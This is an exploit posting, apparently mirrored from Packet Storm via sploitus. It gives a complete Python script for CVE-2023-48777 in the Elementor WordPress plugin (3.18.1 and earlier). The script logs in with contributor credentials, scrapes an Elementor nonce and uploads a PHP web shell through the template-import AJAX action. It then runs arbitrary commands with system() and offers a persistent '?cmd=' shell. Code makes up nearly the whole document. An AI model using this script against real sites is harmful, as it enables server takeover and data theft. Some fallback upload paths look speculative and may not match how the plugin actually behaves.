Share
## https://sploitus.com/exploit?id=PACKETSTORM:216389
=============================================================================================================================================
| # Title : WordPress Elementor 3.18.1 RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/elementor/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/176112/ & CVE-2023-48777
[+] Summary :
an authenticated arbitrary file upload vulnerability in Elementor Website Builder plugin for WordPress versions 3.18.1 and earlier.
The vulnerability allows attackers with contributor-level access or higher to upload arbitrary files, including PHP webshells, leading to remote code execution and complete server compromise.
The vulnerability exists in the template import functionality (elementor_import_template AJAX action) where files are saved to a temporary directory before proper file type validation occurs.
Failed validation does not trigger deletion of the temporary file.
[+] POC : python poc.py
---
#!/usr/bin/env python3
"""
Elementor <= 3.18.1 RCE Exploit (CVE-2023-48777)
Author: indoushka
"""
import requests
import base64
import random
import string
import sys
import json
from urllib.parse import urljoin
class ElementorRCE:
def __init__(self, target, username, password):
self.target = target.rstrip('/')
self.session = requests.Session()
self.username = username
self.password = password
self.nonce = None
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def login(self):
"""Authenticate with WordPress"""
print("[*] Attempting WordPress login...")
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': f'{self.target}/wp-admin/',
'testcookie': '1'
}
login_url = f"{self.target}/wp-login.php"
# Get login cookies first
self.session.get(login_url)
# Perform login
resp = self.session.post(login_url, data=login_data, allow_redirects=False)
if 'wordpress_logged_in' in self.session.cookies:
print("[+] Successfully logged in to WordPress")
return True
else:
print("[-] Login failed")
return False
def get_nonce(self):
"""Get Elementor nonce for AJAX requests"""
print("[*] Retrieving Elementor nonce...")
urls_to_check = [
f"{self.target}/wp-admin/admin-ajax.php",
f"{self.target}/wp-admin/post-new.php",
f"{self.target}/wp-admin/edit.php"
]
for url in urls_to_check:
resp = self.session.get(url)
if resp.status_code == 200:
# Look for nonce in response
if 'elementor' in resp.text and 'nonce' in resp.text:
import re
nonce_patterns = [
r'elementor[\'"]?[-_]?nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"]',
r'nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"][^>]*elementor',
r'"nonce":"([a-f0-9]+)"[^}]*elementor'
]
for pattern in nonce_patterns:
matches = re.search(pattern, resp.text, re.IGNORECASE)
if matches:
self.nonce = matches.group(1)
print(f"[+] Found Elementor nonce: {self.nonce}")
return True
print("[-] Could not find Elementor nonce")
return False
def upload_shell(self, php_code):
"""Upload PHP shell via Elementor template import"""
print("[*] Uploading PHP shell...")
# Method 1: Direct file upload
filename = f"{self.random_string()}_template.php"
files = {
'fileToUpload': (filename, php_code, 'application/zip')
}
data = {
'action': 'elementor_import_template',
'_nonce': self.nonce
}
upload_url = f"{self.target}/wp-admin/admin-ajax.php"
resp = self.session.post(upload_url, files=files, data=data)
if resp.status_code == 200:
try:
result = resp.json()
if result.get('success'):
shell_url = result['data']['file_url']
print(f"[+] Shell uploaded: {shell_url}")
return shell_url
except:
# Try to extract URL from response
if 'file_url' in resp.text:
import re
match = re.search(r'"file_url":"([^"]+)"', resp.text)
if match:
shell_url = match.group(1).replace('\\/', '/')
print(f"[+] Shell uploaded: {shell_url}")
return shell_url
# Method 2: Base64 upload
print("[*] Trying base64 upload method...")
return self.upload_via_base64(php_code)
def upload_via_base64(self, php_code):
"""Upload via base64 encoded file data"""
base64_data = base64.b64encode(php_code.encode()).decode()
filename = f"{self.random_string()}.php"
data = {
'action': 'elementor_import_template',
'_nonce': self.nonce,
'fileData': base64_data,
'fileName': filename
}
upload_url = f"{self.target}/wp-admin/admin-ajax.php"
resp = self.session.post(upload_url, data=data)
if resp.status_code == 200:
try:
result = resp.json()
if result.get('success'):
shell_url = result['data']['file_url']
print(f"[+] Shell uploaded via base64: {shell_url}")
return shell_url
except:
pass
return None
def execute_shell(self, shell_url):
"""Execute the uploaded shell"""
print(f"[*] Executing shell at: {shell_url}")
resp = self.session.get(shell_url)
if resp.status_code == 200:
print("[+] Shell executed successfully")
return resp.text
else:
print(f"[-] Shell execution failed: HTTP {resp.status_code}")
return None
def random_string(self, length=8):
"""Generate random string"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def exploit(self, command=None):
"""Main exploit method"""
if not self.login():
return False
if not self.get_nonce():
return False
# Generate PHP shell
if command:
php_shell = f"<?php system('{command}'); ?>"
else:
php_shell = "<?php if(isset($_REQUEST['cmd'])){{system($_REQUEST['cmd']);}}?>"
shell_url = self.upload_shell(php_shell)
if shell_url:
if command:
result = self.execute_shell(shell_url)
if result:
print(f"[+] Command output:\n{result}")
else:
print(f"[+] Web shell ready: {shell_url}?cmd=whoami")
return shell_url
return False
def main():
if len(sys.argv) < 4:
print("Usage: python3 elementor_rce.py <target> <username> <password> [command]")
print("Example: python3 elementor_rce.py http://localhost contributor password123 'id'")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4] if len(sys.argv) > 4 else None
exploit = ElementorRCE(target, username, password)
exploit.exploit(command)
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================